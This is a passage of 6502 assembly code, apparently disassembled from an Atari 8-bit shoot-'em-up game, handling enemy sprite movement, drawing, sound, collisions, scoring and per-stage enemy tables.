bne L_5B9D
lda #$2A
rts
L_5B9D cpx #$90
bne L_5BA4
lda #$2B
rts
L_5BA4 lda #$2C
rts
L_5BA7 cpx #$50
bne L_5BAE
lda #$2D
rts
L_5BAE cpx #$60
bne L_5BB5
lda #$2E
rts
L_5BB5 cpx #$70
bne L_5BBC
lda #$2F
rts
L_5BBC cpx #$80
bne L_5BC3
lda #$30
rts
L_5BC3 cpx #$90
bne L_5BCA
lda #$31
rts
L_5BCA lda #$32
rts
L_5BCD cpx #$50
bne L_5BD4
lda #$33
rts
L_5BD4 cpx #$60
bne L_5BDB
lda #$34
rts
L_5BDB cpx #$70
bne L_5BE2
lda #$35
rts
L_5BE2 cpx #$80
bne L_5BE9
lda #$36
rts
L_5BE9 cpx #$90
bne L_5BF0
lda #$37
rts
L_5BF0 lda #$38
rts
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00
L_5C00 ldx #$00
stx $065D
L_5C05 lda $0606,x
cmp $0600,x
bmi L_5C13
inx
cpx #$05
bne L_5C05
L_5C12 rts
L_5C13 lda $0600,x
cmp $0606,x
bmi L_5C12
dex
cpx #$FF
bne L_5C13
ldx #$00
L_5C22 lda $0600,x
sta $0606,x
inx
cpx #$06
bne L_5C22
inc $065D
rts
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00
L_5C40 lda ENEMY_MOV_TYPE
bne L_5C78
lda #$0F
sta L_542E+1
lda PLANE_X
sta HPOSP2
sta HPOSP3
sta ENEMY_X
lda #$28
sta ENEMY_Y
sta $0625
lda PCOLR2
cmp #$82
beq L_5C6A
lda #$74
jmp L_5C6C
L_5C6A lda #$44
L_5C6C sta PCOLR2
lda #$0F
sta PCOLR3
inc ENEMY_MOV_TYPE
rts
L_5C78 lda $0634
beq L_5C7E
rts
L_5C7E inc ENEMY_Y
lda ENEMY_Y
cmp #$B0
bcc L_5C8B
jmp L_5D0C
L_5C8B lda $0625
bne L_5C91
rts
L_5C91 inc BIGPLANE_FIRE_TYPE+3
lda BIGPLANE_FIRE_TYPE+3
cmp #$02
bcc L_5CBE
lda PLANE_X
cmp ENEMY_X
bne L_5CA5
beq L_5CB0
L_5CA5 bmi L_5CAD
inc ENEMY_X
jmp L_5CB0
L_5CAD dec ENEMY_X
L_5CB0 lda ENEMY_X
sta HPOSP2
sta HPOSP3
lda #$00
sta BIGPLANE_FIRE_TYPE+3
L_5CBE inc ENEMY_MOV_TYPE+1
lda ENEMY_MOV_TYPE+1
cmp #$02
bcc L_5CDC
lda #$00
sta ENEMY_MOV_TYPE+1
lda BIGPLANE_FIRE_TYPE
beq L_5CD9
lda #$00
sta BIGPLANE_FIRE_TYPE
beq L_5CDC
L_5CD9 inc BIGPLANE_FIRE_TYPE
L_5CDC ldx ENEMY_Y
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_5CF9
L_5CE6 lda L_3CF2+5,y
sta PMGFX0+3,x
lda L_3D0A+7,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_5CE6
rts
L_5CF9 lda L_3D02+2,y
sta PMGFX0+3,x
lda L_3D1A+4,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_5CF9
rts
L_5D0C ldx ENEMY_Y
ldy #$00
tya
L_5D12 sta PMGFX0+2,x
sta L_36FD+2,x
inx
iny
cpy #$0E
bne L_5D12
sta ENEMY_TYPE
L_5D21 sta $0625
sta ENEMY_MOV_TYPE
lda #$11
sta L_542E+1
rts
asl LTEMP+1,x
inx
iny
cpy #$0D
bne L_5D21+2
rts
lda #$01
sta ENEMY_MOV_TYPE
ldx ENEMY_Y
ldy #$00
tya
L_5D41 sta PMGFX0+2,x
sta L_36FD+2,x
inx
iny
cpy #$0E
L_5D4B bne L_5D41
rts
brk
cpy #$30
bcc L_5D4B+1
sty AUDF2
iny
iny
sty AUDF3
ldy #$00
ldx #$00
inx
L_5D60 lda #$FF
sta $0634
lda #$CA
sta AUDC3
lda ENEMY_Y
sta AUDF3
lda ENEMY_X
cmp PLANE_X
bcc L_5D7E
dec ENEMY_X
jmp L_5D81
L_5D7E inc ENEMY_X
L_5D81 lda ENEMY_X
sta HPOSP2
sta HPOSP3
lda PLANE_X+2
clc
adc #$70
sta $0664
lda ENEMY_Y
cmp $0664
bcc L_5DC1
cmp #$30
bcs L_5DBB
ldx #$00
tay
txa
L_5DA3 sta PMGFX0+3,y
sta PMGFX1,y
iny
inx
cpx #$0F
bne L_5DA3
lda #$00
sta $0634
sta $0663
sta AUDC3
rts
L_5DBB dec ENEMY_Y
jmp L_5DC4
L_5DC1 inc ENEMY_Y
L_5DC4 ldx #$00
ldy ENEMY_Y
inc ENEMY_X+2
lda ENEMY_X+2
cmp #$01
beq L_5DEB
L_5DD3 lda L_5E16+6,x
sta PMGFX1,y
lda L_5DFE,x
sta PMGFX0+3,y
iny
inx
cpx #$0F
bne L_5DD3
lda #$00
sta ENEMY_X+2
rts
L_5DEB lda L_5E06+7,x
sta PMGFX0+3,y
lda L_5E16+6,x
sta PMGFX1,y
iny
inx
cpx #$0F
bne L_5DEB
rts
L_5DFE .byte $00, $18, $3C, $34, $7A, $5A, $E3, $FF
L_5E06 .byte $E7, $70, $78, $3C, $3C, $18, $00, $00
.byte $18, $3C, $2C, $5E, $5A, $C7, $FF, $E7
L_5E16 .byte $0E, $1E, $3C, $3C, $18, $00, $00, $18
.byte $3C, $3C, $7E, $7E, $FF, $FF, $FF, $7E
.byte $7E, $3C, $3C, $18, $00, $00, $70
bne L_5E38
lda #$40
sta HPOSP2
sta $0640
rts
L_5E38 lda #$00
sta $0624
sta $0625
sta $0627
sta ENEMY_MOV_TYPE
sta SIZEP2
sta SIZEP3
sta $0634
ldx $06AB
beq L_5E55
rts
L_5E55 tax
L_5E56 sta L_33FE+2,x
sta L_3500,x
sta PMGFX0+3,x
L_5E5F sta PMGFX1,x
sta L_3680,x
sta L_3780,x
inx
cpx #$80
bcc L_5E56
ldx $06C2
bne L_5E74
lda #$01
L_5E74 sta $06C2
inc $06AF
ldx $06AF
cpx #$10
bcc L_5E86
ldx #$00
stx $06AF
L_5E86 lda STAGE_NO
cmp #$03
bcc ENEMY_SETS1
lda #$00
sta STAGE_NO
ENEMY_SETS1 cmp #$00
bne ENEMY_SETS2
lda ENEMY_TBLS1,x
sta ENEMY_TYPE
rts
ENEMY_SETS2 cmp #$01
bne ENEMY_SETS3
lda ENEMY_TBLS2+1,x
sta ENEMY_TYPE
rts
ENEMY_SETS3 cmp #$02
bne ENEMY_SETS4
lda ENEMY_TBLS3+2,x
sta ENEMY_TYPE
rts
ENEMY_SETS4 lda ENEMY_TBLS4+3,x
sta ENEMY_TYPE
rts
ENEMY_TBLS1 .byte $01, $02, $03, $01, $03, $02, $04, $05
.byte $05, $01, $01, $02, $04, $03, $04, $01
ENEMY_TBLS2 .byte $03, $01, $05, $05, $06, $04, $07, $05
.byte $05, $01, $08, $09, $01, $02, $06, $0B
ENEMY_TBLS3 .byte $02, $04, $01, $0A, $0B, $02, $01, $0B
.byte $08, $09, $05, $05, $03, $0A, $02, $07
ENEMY_TBLS4 .byte $08, $07, $03, $06, $07, $08, $09, $0A
.byte $0B, $05, $05, $08, $09, $02, $03, $0A
.byte $0A, $0A, $0A, $0A, $01, $02
L_5F00 ldx ENEMY_Y
ldy #$00
lda #$0F
sta AUDC4
inc ENEMY_X+2
lda ENEMY_X+2
sta AUDF4
cmp #$08
bcs L_5F2A
L_5F17 lda L_6F89+7,y
sta PMGFX0+3,x
lda L_6F99+4,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_5F17
rts
L_5F2A cmp #$10
bcs L_5F41
L_5F2E lda L_6FA9+1,y
sta PMGFX0+3,x
lda L_6FB1+6,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_5F2E
rts
L_5F41 cmp #$18
bcs L_5F48
jmp L_5F17
L_5F48 cmp #$20
bcs L_5F4F
jmp L_5F2E
L_5F4F cmp #$28
bcs L_5F65
L_5F53 lda L_6FC1+3,y
sta PMGFX0+3,x
lda #$00
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_5F53
rts
L_5F65 cmp #$30
bcs L_5F76
L_5F69 lda L_6FD1,y
sta PMGFX0+3,x
inx
iny
cpy #$0D
bne L_5F69
rts
L_5F76 cmp #$38
bcs L_5F87
L_5F7A lda L_6FD9+5,y
sta PMGFX0+3,x
inx
iny
cpy #$0D
bne L_5F7A
rts
L_5F87 cmp #$40
bcs L_5F9D
L_5F8B lda #$00
sta PMGFX0+3,x
lda L_5FE3,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_5F8B
rts
L_5F9D cmp #$48
bcs L_5FAE
L_5FA1 lda L_5FEB+5,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_5FA1
rts
L_5FAE cmp #$50
bcs L_5FB5
jmp L_5F8B
L_5FB5 lda #$00
sta $0637
sta $06AE
sta AUDC4
lda $0683
bpl L_5FCB
lda #$01
sta $0634
rts
L_5FCB lda #$00
sta ENEMY_X+7
sta AUDC4
sta $062F
sta $0637
jsr L_6650
jsr L_67CF
jsr L_67CF
rts
L_5FE3 .byte $00, $00, $00, $00, $20, $00, $08, $40
L_5FEB .byte $00, $10, $00, $00, $00, $00, $00, $00
.byte $20, $14, $40, $82, $00, $82, $80, $28
.byte $00, $00, $00, $BD, $33
L_6000 ldx #$00
lda $0624
beq L_6010
stx $0624
stx ENEMY_X+1
inc ENEMY_X+6
L_6010 lda $0625
beq L_601E
stx $0625
stx ENEMY_X+2
inc ENEMY_X+7
L_601E lda $0627
beq L_602C
stx $0627
stx ENEMY_X+3
inc $06A8
L_602C ldy ENEMY_Y+2
ldx #$00
txa
sta $06B0
sta $06B1
L_6038 sta L_33FE+2,y
sta L_3500,y
sta PMGFX0+3,y
sta PMGFX1,y
iny
inx
cpx #$0D
bne L_6038
ldy ENEMY_Y+3
ldx #$00
L_604F sta L_33FE+2,y
sta L_3500,y
sta PMGFX0+3,y
sta PMGFX1,y
iny
inx
cpx #$0D
bne L_604F
sta $0653
sta L_9F85+1
rts
.byte $00
ldx #$06
L_606B inc ENEMY_X+7
lda $0627
beq L_607C
stx $0627
stx ENEMY_X+3
inc $06A8
L_607C stx $0653
stx L_9F85+1
rts
.word LNFLG
ldx #$00
L_6087 inx
bne L_6087
iny
cpy #$50
bne L_6087
pla
L_6090 lda ENEMY_X+7
bne L_6096
rts
L_6096 lda $0637
beq L_609E
jmp L_5F00
L_609E ldx ENEMY_Y
ldy #$00
lda $0634
beq L_60AB
jmp L_6111
L_60AB lda #$0F
sta AUDC4
inc ENEMY_X+2
lda ENEMY_X+2
sta AUDF4
cmp #$08
bcs L_60D0
L_60BD lda L_3F4A+4,y
sta PMGFX0+3,x
lda L_3F5A+1,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_60BD
rts
L_60D0 cmp #$18
bcs L_60E7
L_60D4 lda L_3F32+2,y
sta PMGFX0+3,x
lda L_3F3A+7,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_60D4
rts
L_60E7 cmp #$20
bcs L_60EE
jmp L_60BD
L_60EE jsr L_6186
lda #$00
sta AUDC4
sta $062F
jsr L_67B8
jsr L_67CF
lda ENEMY_TYPE
cmp #$01
beq L_616E
lda $0683
bpl L_616E
lda #$01
sta $0634
rts
L_6111 cmp #$02
beq L_6140
cpx #$B0
bcs L_616B
lda PCOLR2
cmp #$38
beq L_612A
cmp #$26
beq L_6127
jmp L_6195
L_6127 jmp L_61A9
L_612A lda L_3E7A+3,y
sta PMGFX0+3,x
lda L_3E8A,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_612A
inc ENEMY_Y
rts
L_6140 lda $0651
beq L_614E
jsr L_67E6
jsr L_6650
jmp L_616E
L_614E lda $0650
beq L_615F
lda #$01
sta $0653
lda #$24
sta L_9F85+1
bne L_616E
L_615F lda #$2A
sta L_9F6D+7
lda #$05
sta $0656
bne L_616E
L_616B inc $0663
L_616E lda #$00
sta ENEMY_X+7
sta $0634
sta $0651
sta $0650
lda PCOLR2
cmp #$38
bne L_6186
jmp L_6650
L_6186 lda #$00
L_6188 sta PMGFX0+3,x
sta PMGFX1,x
inx
iny
cpy #$0E
bne L_6188
rts
L_6195 lda L_3E62+2,y
sta PMGFX0+3,x
L_619B lda L_3E6A+6,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_6195
beq L_61BB
L_61A9 lda L_3E92+5,y
sta PMGFX0+3,x
lda L_3EA2+2,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_61A9
L_61BB inc ENEMY_Y
rts
L_61BF asl LELNUM
.byte $87
asl $D0
and #$AD
sta TRAMSZ
cmp #$38
bcs L_61CD
rts
L_61CD lda #$70
sta ENEMY_Y
sta $0625
lda #$28
sta HPOSP2
sta HPOSP3
sta ENEMY_X
lda #$0F
sta PCOLR3
lda #$44
sta PCOLR2
inc BIGPLANE_FIRE_TYPE+3
rts
lda $0634
beq L_61F4
rts
L_61F4 ldy ENEMY_Y
ldx #$00
lda BIGPLANE_FIRE_TYPE+3
cmp #$03
bcc L_6203
jmp L_624F
L_6203 inc ENEMY_X
lda ENEMY_X
sta HPOSP2
sta HPOSP3
cmp #$30
bne L_6216
inc BIGPLANE_FIRE_TYPE+3
L_6216 cmp #$8A
bcc L_621E
inc BIGPLANE_FIRE_TYPE+3
rts
L_621E lda $0625
bne L_6224
rts
L_6224 lda BIGPLANE_FIRE_TYPE
bne L_623C
L_6229 lda L_3DB2+3,x
sta PMGFX0+3,y
lda L_3DC2,x
sta PMGFX1,y
iny
inx
cpx #$0D
bne L_6229
rts
L_623C lda L_3DB2+3,x
sta PMGFX0+3,y
lda L_3DCA+5,x
sta PMGFX1,y
iny
inx
cpx #$0D
bne L_623C
rts
L_624F cmp #$05
bcs L_626D
inc BIGPLANE_FIRE_TYPE+3
lda $0625
bne L_625C
rts
L_625C lda L_3DDA+2,x
sta PMGFX0+3,y
lda L_3DE2+7,x
sta PMGFX1,y
iny
inx
cpx #$0D
rts
L_626D cmp #$06
bcs L_62B3
inc ENEMY_Y
lda ENEMY_Y
cmp #$80
bcc L_6282
inc BIGPLANE_FIRE_TYPE+3
jsr L_62EC
rts
L_6282 lda $0625
bne L_6288
rts
L_6288 lda BIGPLANE_FIRE_TYPE
bne L_62A0
L_628D lda L_3CF2+5,x
sta PMGFX0+3,y
lda L_3D0A+7,x
sta PMGFX1,y
iny
inx
cpx #$0D
bne L_628D
rts
L_62A0 lda L_3CF2+5,x
sta PMGFX0+3,y
lda L_3D1A+4,x
sta PMGFX1,y
iny
inx
cpx #$0D
bne L_62A0
rts
L_62B3 cmp #$09
bcs L_62D3
inc BIGPLANE_FIRE_TYPE+3
lda $0625
bne L_62C0
rts
L_62C0 lda L_3DF2+4,x
sta PMGFX0+3,y
lda L_3E02+1,x
sta PMGFX1,y
iny
inx
cpx #$0D
bne L_62C0
rts
L_62D3 lda ENEMY_X
cmp #$28
bcs L_62FA
lda #$00
sta $0625
sta ENEMY_MOV_TYPE
lda #$00
sta ENEMY_TYPE
lda #$11
sta L_542E+1
L_62EC txa
L_62ED sta PMGFX0+3,y
sta PMGFX1,y
iny
inx
cpx #$0D
bne L_62ED
rts
L_62FA dec ENEMY_Y
dec ENEMY_X
lda ENEMY_X
sta HPOSP2
sta HPOSP3
lda $0625
bne L_630F
rts
L_630F lda BIGPLANE_FIRE_TYPE
bne L_6327
L_6314 lda L_3E32+5,x
sta PMGFX0+3,y
lda L_3E42+2,x
sta PMGFX1,y
iny
inx
cpx #$0D
bne L_6314
rts
L_6327 lda L_3E32+5,x
sta PMGFX0+3,y
lda L_3EAA+7,x
sta PMGFX1,y
iny
inx
cpx #$0D
bne L_6327
rts
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00
L_6360 lda ENEMY_MOV_TYPE
bne L_639B
lda #$50
sta ENEMY_MOV_TYPE+7
sta $0624
lda #$00
sta HPOSP2
sta HPOSP3
lda #$28
sta BIGPLANE_FIRE_TYPE+1
sta BIGPLANE_FIRE_TYPE+2
lda #$0E
sta PCOLR1
lda #$64
sta PCOLR0
lda #$00
sta BIGPLANE_FIRE_TYPE
sta ENEMY_MOV_TYPE+1
sta BIGPLANE_FIRE_TYPE+3
lda #$0E
sta L_542E+1
inc ENEMY_MOV_TYPE
rts
L_639B inc ENEMY_MOV_TYPE+1
lda ENEMY_MOV_TYPE+1
cmp #$03
bcc L_63BA
lda #$00
sta ENEMY_MOV_TYPE+1
lda BIGPLANE_FIRE_TYPE
bne L_63B5
inc BIGPLANE_FIRE_TYPE
jmp L_63BA
L_63B5 lda #$00
sta BIGPLANE_FIRE_TYPE
L_63BA ldy ENEMY_MOV_TYPE+7
ldx #$00
lda ENEMY_MOV_TYPE
cmp #$03
bcc L_63C9
jmp L_6412
L_63C9 inc BIGPLANE_FIRE_TYPE+1
inc BIGPLANE_FIRE_TYPE+2
lda BIGPLANE_FIRE_TYPE+1
cmp #$30
bne L_63D9
inc ENEMY_MOV_TYPE
L_63D9 cmp #$8A
bcc L_63E1
inc ENEMY_MOV_TYPE
rts
L_63E1 lda $0624
bne L_63E7
rts
L_63E7 lda BIGPLANE_FIRE_TYPE
bne L_63FF
L_63EC lda L_3DB2+3,x
sta L_33FE+2,y
lda L_3DC2,x
sta L_3500,y
iny
inx
cpx #$0D
bne L_63EC
rts
L_63FF lda L_3DB2+3,x
sta L_33FE+2,y
lda L_3DCA+5,x
sta L_3500,y
iny
inx
cpx #$0D
bne L_63FF
rts
L_6412 cmp #$04
bcs L_6430
lda $0624
bne L_641C
rts
L_641C lda L_3DDA+2,x
sta L_33FE+2,y
lda L_3DE2+7,x
sta L_3500,y
iny
inx
cpx #$0D
inc ENEMY_MOV_TYPE
rts
L_6430 cmp #$05
bcs L_6476
inc ENEMY_MOV_TYPE+7
lda ENEMY_MOV_TYPE+7
cmp #$60
bcc L_6445
inc ENEMY_MOV_TYPE
jsr L_64A2
rts
L_6445 lda $0624
bne L_644B
rts
L_644B lda BIGPLANE_FIRE_TYPE
bne L_6463
L_6450 lda L_3CF2+5,x
sta L_33FE+2,y
lda L_3D0A+7,x
sta L_3500,y
iny
inx
cpx #$0D
bne L_6450
rts
L_6463 lda L_3CF2+5,x
sta L_33FE+2,y
lda L_3D1A+4,x
sta L_3500,y
iny
inx
cpx #$0D
bne L_6463
rts
L_6476 cmp #$07
bcs L_6496
inc ENEMY_MOV_TYPE
lda $0624
bne L_6483
rts
L_6483 lda L_3DF2+4,x
sta L_33FE+2,y
lda L_3E02+1,x
sta L_3500,y
iny
inx
cpx #$0D
bne L_6483
rts
L_6496 lda BIGPLANE_FIRE_TYPE+1
cmp #$28
bcs L_64B0
lda #$00
sta $0624
L_64A2 txa
L_64A3 sta L_33FE+2,y
sta L_3500,y
iny
inx
cpx #$0D
bne L_64A3
rts
L_64B0 dec BIGPLANE_FIRE_TYPE+1
dec BIGPLANE_FIRE_TYPE+2
lda $0624
bne L_64BC
rts
L_64BC lda BIGPLANE_FIRE_TYPE
bne L_64D4
L_64C1 lda L_3E0A+6,x
sta L_33FE+2,y
lda L_3E1A+3,x
sta L_3500,y
iny
inx
cpx #$0D
bne L_64C1
rts
L_64D4 lda L_3E0A+6,x
sta L_33FE+2,y
lda L_3E2A,x
sta L_3500,y
iny
inx
cpx #$0D
bne L_64D4
rts
.byte $00, $3C, $3C, $3C, $3C, $3C, $3C, $3C
.byte $3C, $3C, $3C, $3C, $3C, $3C, $3C, $3C
.byte $3C, $3D, $00, $3B, $3C, $3C, $3C, $3C
.byte $3C
L_6500 lda BIGPLANE_FIRE_TYPE+3
bne L_653F
lda #$98
sta ENEMY_Y
sta $0625
lda $0683
bmi L_6516
lda #$D0
bne L_6518
L_6516 lda #$28
L_6518 sta ENEMY_X
sta HPOSP2
sta HPOSP3
lda #$00
sta $06AE
lda #$2F
sta PCOLR3
lda #$38
sta PCOLR2
lda #$01
sta SIZEP2
sta SIZEP3
jsr L_6592
inc BIGPLANE_FIRE_TYPE+3
rts
L_653F lda $0625
bne L_6547
jmp L_6592
L_6547 lda ENEMY_MOV_TYPE+1
cmp #$02
beq L_654F
rts
L_654F lda ENEMY_X
cmp PLANE_X
beq L_6562
bcc L_655F
dec ENEMY_X
jmp L_6562
L_655F inc ENEMY_X
L_6562 lda ENEMY_X
sta HPOSP2
sta HPOSP3
lda BIGPLANE_FIRE_TYPE+3
cmp #$02
bne L_6583
dec ENEMY_Y
lda ENEMY_Y
cmp #$40
bcs L_6592
lda #$03
sta BIGPLANE_FIRE_TYPE+3
bne L_6592
L_6583 inc ENEMY_Y
lda ENEMY_Y
cmp #$80
bcc L_6592
lda #$02
sta BIGPLANE_FIRE_TYPE+3
L_6592 lda $0625
bne L_65AA
ldx #$00
ldy ENEMY_Y
txa
L_659D sta L_3605+7,y
sta L_370C,y
iny
inx
cpx #$07
bne L_659D
rts
L_65AA ldx ENEMY_Y
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_65C7
L_65B4 lda L_3F6A+6,y
sta PMGFX0+3,x
lda L_3F82+1,y
sta PMGFX1,x
inx
iny
cpy #$13
bne L_65B4
rts
L_65C7 lda L_3F6A+6,y
sta PMGFX0+3,x
lda L_3F92+4,y
sta PMGFX1,x
inx
iny
cpy #$13
bne L_65C7
rts
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00
lda #$00
sta ENEMY_MOV_TYPE
sta $0625
sta SIZEP2
sta SIZEP3
lda #$00
L_6650 lda #$00
sta ENEMY_MOV_TYPE
sta $0625
sta SIZEP2
sta SIZEP3
sta $06AE
sta ENEMY_TYPE
lda #$11
sta L_542E+1
ldy ENEMY_Y
ldx #$00
txa
L_666F sta PMGFX0+3,y
sta PMGFX1,y
iny
inx
cpx #$13
bne L_666F
rts
brk
eor L_4D4D
L_6680 lda #$0F
sta AUDC4
ldy #$A8
lda #$05
sta $066B
inc $066A
lda $066A
sta AUDF4
cmp #$10
bcs L_66B8
L_6699 ldx #$0C
L_669B lda L_3F32+2,x
sta PMGFX0+3,y
lda L_3F3A+7,x
sta PMGFX1,y
dey
dex
cpx #$FF
bne L_669B
dey
dey
dec $066B
lda $066B
bne L_6699
rts
L_66B8 cmp #$30
bcs L_66DB
L_66BC ldx #$0C
L_66BE lda L_3F4A+4,x
sta PMGFX0+3,y
lda L_3F5A+1,x
sta PMGFX1,y
dey
dex
cpx #$FF
bne L_66BE
dey
dey
dec $066B
lda $066B
bne L_66BC
rts
L_66DB cmp #$40
bcs L_66E2
jmp L_6699
L_66E2 ldx #$00
txa
L_66E5 sta PMGFX0+3,x
sta PMGFX1,x
inx
bne L_66E5
lda #$00
sta ENEMY_X+6
sta ENEMY_TYPE
sta AUDC4
sta $062F
jsr L_67E6
rts
L_6700 jsr L_568F+1
ldx #$00
lda #$06
L_6707 sta L_3004+3,x
inx
cpx #$12
bne L_6707
lda #$07
sta L_300C+4
sta L_300C+5
ldx #$00
L_6719 lda L_6791,x
sta L_342B+1,x
jsr L_4300
inx
cpx #$0A
bne L_6719
lda $069A
sta L_3435+1
lda $069B
sta L_3437
inc $069B
lda $069B
cmp #$1A
bmi L_6745
lda #$10
sta $069B
inc $069A
L_6745 ldx #$00
L_6747 lda L_6799+2,x
sta L_348F,x
jsr L_4300
inx
cpx #$0D
bne L_6747
lda $062A
clc
adc #$11
sta L_349A+2
cmp #$11
bmi L_676F
L_6762 jsr L_67E6
dec $062A
lda $062A
cmp #$FF
bpl L_6762
L_676F ldx #$00
L_6771 lda L_67A1+7,x
sta BP_CHECK_Y_UP+1,x
jsr L_4300
inx
cpx #$05
bne L_6771
lda $069A
sta L_34E7+1
lda $069B
sta L_34E9
jsr L_2000
jmp L_560B
L_6791 .byte $2C, $21, $33, $34, $00, $33, $34, $21
L_6799 .byte $27, $25, $22, $2F, $2E, $35, $33, $00
L_67A1 .byte $2C, $0A, $11, $10, $10, $10, $1D, $33
.byte $34, $21, $27, $25, $00, $58, $5B, $59
.byte $5A, $58, $5B, $59, $5A, $58, $5B
L_67B8 ldy $0605
iny
cpy #$1A
beq L_67C7
sty L_9F9D+4
sty $0605
rts
L_67C7 ldy #$10
sty L_9F9D+4
sty $0605
L_67CF ldy $0604
iny
cpy #$1A
beq L_67DE
sty L_9F9D+3
sty $0604
rts
L_67DE ldy #$10
sty L_9F9D+3
sty $0604
L_67E6 ldy $0603
iny
cpy #$1A
beq L_67F5
sty L_9F9D+2
sty $0603
rts
L_67F5 ldy #$10
sty L_9F9D+2
sty $0603
jsr L_4FE0
L_6800 ldy $0602
iny
cpy #$1A
beq L_680F
sty L_9F9D+1
sty $0602
rts
L_680F ldy #$10
sty L_9F9D+1
sty $0602
ldy $0601
iny
cpy #$1A
beq L_6826
sty $0601
sty L_9F9D
rts
L_6826 ldy #$10
sty $0601
sty L_9F9D
ldy $0600
iny
cpy #$1A
beq L_683C
sty L_9F95+7
sty $0600
L_683C rts
brk
dec LOGCOL
L_6840 ldx PLANE_X+2
ldy #$00
lda #$0F
sta AUDC4
inc ENEMY_Y+6
lda ENEMY_Y+6
sta AUDF4
cmp #$10
bcs L_686F
lda #$26
sta L_407D+1
L_685C lda L_3F32+2,y
sta L_3470,x
lda L_3F3A+7,y
sta L_356D+3,x
inx
iny
cpy #$0D
bne L_685C
rts
L_686F cmp #$20
bcs L_6886
L_6873 lda L_3F1A,y
sta L_3470,x
lda L_3F22+5,y
sta L_356D+3,x
inx
iny
cpy #$0D
bne L_6873
rts
L_6886 cmp #$30
bcs L_689D
L_688A lda L_3EFA+6,y
sta L_3470,x
lda L_3F0A+3,y
sta L_356D+3,x
inx
iny
cpy #$0D
bne L_688A
rts
L_689D cmp #$40
bcs L_68B4
L_68A1 lda L_3F1A,y
sta L_3470,x
lda L_3F22+5,y
sta L_356D+3,x
inx
iny
cpy #$0D
bne L_68A1
rts
L_68B4 cmp #$50
bcs L_68BB
jmp L_685C
L_68BB cmp #$80
bcs L_68CE
lda #$00
L_68C1 sta L_3470,x
sta L_356D+3,x
inx
iny
cpy #$0D
bne L_68C1
rts
L_68CE lda #$00
sta ENEMY_Y+5
sta AUDC4
dec $062E
dec L_9FA5
inc $0698
lda $062E
cmp #$10
bpl L_68EC
jsr L_555F+1
jmp L_68EF
L_68EC jsr L_6CFF+1
L_68EF lda #$75
sta L_407D+1
rts
brk
adc L_75A9
sta L_407D+1
rts
.byte $00, $00, $00
L_6900 lda ENEMY_MOV_TYPE+3
sta $0628
lda M2PL
and #$05
bne L_6915
lda M3PL
and #$05
bne L_691F
rts
L_6915 cmp #$02
bpl L_6929
lda ENEMY_MOV_TYPE+3
bpl L_692C
rts
L_691F cmp #$02
bpl L_6929
lda ENEMY_MOV_TYPE+4
bpl L_692C
rts
L_6929 jmp L_6A21
L_692C lda ENEMY_MOV_TYPE+7
clc
adc #$03
sta $0629
ldy #$07
L_6937 lda $0628
cmp $0629
beq L_6948
inc $0629
dey
bne L_6937
jmp L_695F
L_6948 lda $0624
bne L_694E
rts
L_694E lda #$00
sta $0624
sta ENEMY_X+1
inc ENEMY_X+6
ldy ENEMY_MOV_TYPE+7
jmp L_698D
L_695F lda ENEMY_Y+1
clc
adc #$03
sta $0629
ldy #$07
L_696A lda $0628
cmp $0629
beq L_6979
inc $0629
dey
bne L_696A
rts
L_6979 lda $0627
bne L_697F
rts
L_697F lda #$00
sta $0627
sta ENEMY_X+3
inc $06A8
ldy ENEMY_Y+1
L_698D dey
ldx #$00
L_6990 sta L_33FE+2,y
sta L_3500,y
sta PMGFX0+3,y
sta PMGFX1,y
iny
inx
cpx #$0F
bne L_6990
inc $069F
lda $069F
cmp #$1A
bpl L_69AF
jmp L_69DB
L_69AF lda #$10
sta $069F
inc $069E
lda $069E
cmp #$1A
bpl L_69C1
jmp L_69DB
L_69C1 lda #$10
sta $069E
inc $069D
lda $069D
cmp #$1A
bpl L_69D3
jmp L_69DB
L_69D3 lda #$1A
sta $069D
inc $069C
L_69DB ldy ENEMY_MOV_TYPE+3
ldx #$00
L_69E0 lda MISSILE_GFX,y
and #$AF
sta MISSILE_GFX,y
dey
inx
cpx #$0C
bne L_69E0
lda #$00
sta ENEMY_MOV_TYPE+5
sta ENEMY_MOV_TYPE+6
rts
L_69F7 lda ENEMY_Y
clc
adc #$0A
tay
inc $066D
lda $066D
cmp #$01
bne L_6A13
lda #$1A
sta PMGFX0+3,y
lda #$6B
sta PMGFX0+2,y
rts
L_6A13 lda #$34
sta PMGFX0+1,y
sta PMGFX0,y
lda #$00
sta $066D
rts
L_6A21 lda ENEMY_Y
clc
adc #$03
sta $0629
ldy #$07
L_6A2C lda $0628
cmp $0629
beq L_6A3B
inc $0629
dey
bne L_6A2C
rts
L_6A3B lda $0625
bne L_6A41
rts
L_6A41 lda ENEMY_TYPE
cmp #$03
beq L_6A50
cmp #$08
beq L_6A50
cmp #$09
bne L_6A65
